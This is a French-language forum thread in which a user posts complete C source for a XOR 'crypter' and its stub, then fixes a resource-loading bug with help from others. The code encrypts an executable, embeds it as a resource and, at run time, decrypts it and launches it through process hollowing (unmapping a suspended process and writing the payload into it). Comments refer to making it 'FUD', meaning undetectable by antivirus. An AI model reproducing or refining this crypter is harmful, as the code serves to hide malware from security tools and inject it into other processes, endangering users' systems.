Crypteur de fichier xor avec stub

J'ai modifié la source :

Crypter : main.c

Code:

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#include <stdio.h>
#include <windows.h>
#include <conio.h>
 
#define IDR_STUB 1
 
struct StubData{
    unsigned char * pFileBuffer;
    unsigned long FileSize;
    unsigned char * pKey;
    unsigned long KeySize;
};
 
/* Generic Error & Exit Function */
void error(char * msg)
{
    printf("%s\n", msg);
    exit(EXIT_FAILURE);
}
 
/* This Function Loads the File into the HEAP memory space */
void LoadFile(char File[20], struct StubData * sData)
{
 
    unsigned long BytesRead;
 
    HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
 
 
    printf("[*]Loading Portable Executable\n");
    if(hFile == INVALID_HANDLE_VALUE)
    {
        error("Error - Cannot open file");
    }
 
    sData->FileSize = GetFileSize(hFile, NULL);
    if(sData->FileSize == INVALID_FILE_SIZE)
    {
        CloseHandle(hFile);
        error("Error - Cannot retrieve file size");
    }
 
    sData->pFileBuffer = (unsigned char *)malloc(sData->FileSize);
    if(sData->pFileBuffer == NULL)
    {
        CloseHandle(hFile);
        error("Error - Cannot allocate room");
    }
 
    ReadFile(hFile, sData->pFileBuffer, sData->FileSize, &BytesRead, NULL);
    CloseHandle(hFile);
 
}
 
/* Simple XOR Encryption (NOT FUD -- Learn to Develop your own) */
void Encrypt(struct StubData * sData)
{
    int i,j;
    sData->pKey="AbcdefGhijkLmnoPkrstuVwxyZ";
    sData->KeySize=strlen(sData->pKey);
    j=0;
    i=0;
    printf("[*]Encoding\n");
 
    for(i;i<sData->FileSize;i++)
    {
  *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
  j++;
 
  if (j>=sData->KeySize)j=0;
 
    }
 
}
 
/* Load the stub and resource data (sData) and write out a new file "crypted.exe" */
void Build(struct StubData * sData)
{
 
    HRSRC hRsrc;
    HGLOBAL hGlob;
    HANDLE hFile, hUpdate;
 
    unsigned long rSize;
    unsigned char * pBuffer;
    unsigned long BytesWritten;
 
    printf("[*]Building Crypted.exe\n");
 
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "stub.exe");
    if(hRsrc == NULL)
    {
  error("Error Could not find resource");
 
    }
    rSize = SizeofResource(NULL, hRsrc);
 
    hGlob = LoadResource(NULL, hRsrc);
    if(hGlob == NULL)error("Error - Could not load resource");
 
    pBuffer = (unsigned char *)LockResource(hGlob);
    if(pBuffer == NULL)error("Error - Could not lock resource");
 
    hFile = CreateFile("crypted.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
  free(pBuffer);
  free(sData->pFileBuffer);
  error("Error - Could not create file");
    }
 
    if(WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0)
    {
  free(pBuffer);
  free(sData->pFileBuffer);
  error("Error - Could not write to file");
    }
 
    CloseHandle(hFile);
    free(pBuffer);
 
    hUpdate = BeginUpdateResource("crypted.exe", FALSE);
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize)==0)
    {
  error("Error - Could not update resource");
    }
 
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0)
    {
  error("Error - Could not update resource");
    }
    EndUpdateResource(hUpdate, FALSE);
 
}
 
main(int argc, char * argv[])
{
 
    struct StubData sData = {"",0,"",0};
 
    char name[20] = "Hello.exe";
    LoadFile(name, &sData);
    Encrypt(&sData);
    Build(&sData);
    free(sData.pFileBuffer);
    printf("[*]Finished Successfully");
 
    getch();
    getch();
}

crypter.rc :

Code:

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#define IDR_STUB 1
 
IDR_STUB STUB DISCARDABLE "stub.exe"

stub : main.c

Code:

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#include <stdio.h>
#include <windows.h>
 
typedef void (WINAPI *PTRZwUnmapViewOfSection)(
  IN HANDLE ProcessHandle, IN PVOID BaseAddress);
 
struct StubData{
    unsigned char * pFileBuffer;
    unsigned long FileSize;
    unsigned char * pKey;
    unsigned int KeySize;
    char FileName[MAX_PATH];
};
 
void LoadStruct(struct StubData * sData)
{
    HRSRC hRsrc;
    HGLOBAL hGlob;
 
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(10), RT_RCDATA);
    if (hRsrc == NULL)exit(EXIT_FAILURE);
 
    sData->FileSize = SizeofResource(NULL, hRsrc);
    hGlob = LoadResource(NULL, hRsrc);
    if (hGlob == NULL)exit(EXIT_FAILURE);
 
    sData->pFileBuffer = (unsigned char*)LockResource(hGlob);
    if (sData->pFileBuffer == NULL)exit(EXIT_FAILURE);
 
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(20), RT_RCDATA);
    if (hRsrc == NULL)exit(EXIT_FAILURE);
 
    sData->KeySize = SizeofResource(NULL, hRsrc);
    hGlob = LoadResource(NULL, hRsrc);
    if (hGlob == NULL)exit(EXIT_FAILURE);
 
    sData->pKey = (unsigned char*)LockResource(hGlob);
    if (sData->pKey == NULL)exit(EXIT_FAILURE);
 
    GetModuleFileName(NULL, sData->FileName, MAX_PATH);
 
}
 
/* Simple XOR Encryption (NOT FUD -- Learn to Develop your own) */
void Decrypt(struct StubData * sData)
{
    int i=0,j=0;
 
 
 
    for(i=0;i<(sData->FileSize);i++)
    {
  *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
  j++;
 
  if (j>=sData->KeySize)j=0;
 
    }
 
}
 
void runPE(struct StubData * sData)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CONTEXT ctx;
 
    PIMAGE_DOS_HEADER pidh;
    PIMAGE_NT_HEADERS pinh;
    PIMAGE_SECTION_HEADER pish;
 
    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = NULL;
    int i;
 
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(STARTUPINFO);
    ctx.ContextFlags = CONTEXT_FULL;
 
    pidh = (PIMAGE_DOS_HEADER)&sData->pFileBuffer[0];
    if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
    {
        return;
    }
    pinh = (PIMAGE_NT_HEADERS)&sData->pFileBuffer[pidh->e_lfanew];
    if(pinh->Signature != IMAGE_NT_SIGNATURE)
    {
        return;
    }
 
    CreateProcess(NULL, sData->FileName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 
    pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    pZwUnmapViewOfSection(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase);
 
    VirtualAllocEx(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
    WriteProcessMemory(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, &sData->pFileBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL);
    for(i = 0; i < pinh->FileHeader.NumberOfSections; i++)
    {
        pish = (PIMAGE_SECTION_HEADER)&sData->pFileBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
        WriteProcessMemory(pi.hProcess, (void *)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &sData->pFileBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL);
    }
 
    GetThreadContext(pi.hThread, &ctx);
    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
    ResumeThread(pi.hThread);
}
 
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    struct StubData sData;
    LoadStruct(&sData);
    Decrypt(&sData);
    runPE(&sData);
    return 0;
}

Je travaille sous Code::Blocks .

Après compilation du crypter et exécution, mon exécutable m'affiche l'erreur : Error Could not find resource , Cad qu'il n'a pas trouvé stub.exe.
Hors le stub se trouve dans me le même dossier que le project.

Comment résoudre ce problème ?

Bonjour,

Il plante ou ? Quel type d'erreur ?

Et lorsque ton programme endommage le fichier, est-ce que pour autant il fonctionne correctement, ou bien provoque-t-il aussi des erreurs ?

Après une journée de travaille, j'ai enfin pu achevé ce petit monstre :D.

Au niveau du crypter (main.c) -> La fonction Build -> Cette ligne :

Code:

hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "stub.exe");

il fallait mettre :

Code:

hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "STUB");

puisque :
[CODE#define IDR_STUB 1

IDR_STUB STUB DISCARDABLE "stub.exe"][/CODE]

Et comme ça mon Hello.exe sera protégé du Reverse_engineering .

Si vous avez des suggestions, n’hésitez pas me les dire.

Citation:

Envoyé par codeurduzero

Et comme ça mon Hello.exe sera protégé du Reverse_engineering .

Si vous avez des suggestions, n’hésitez pas me les dire.

Yopyop,

Je n'ai pas regardé le code, mais cette phrase me fait tiquer... Au moment où la personne fera un peu de reverse avec une exécution pas à pas, cela sera largement visible et une simple analyse de l'application PE le signalera. (Sections etcetc).

++

Fiki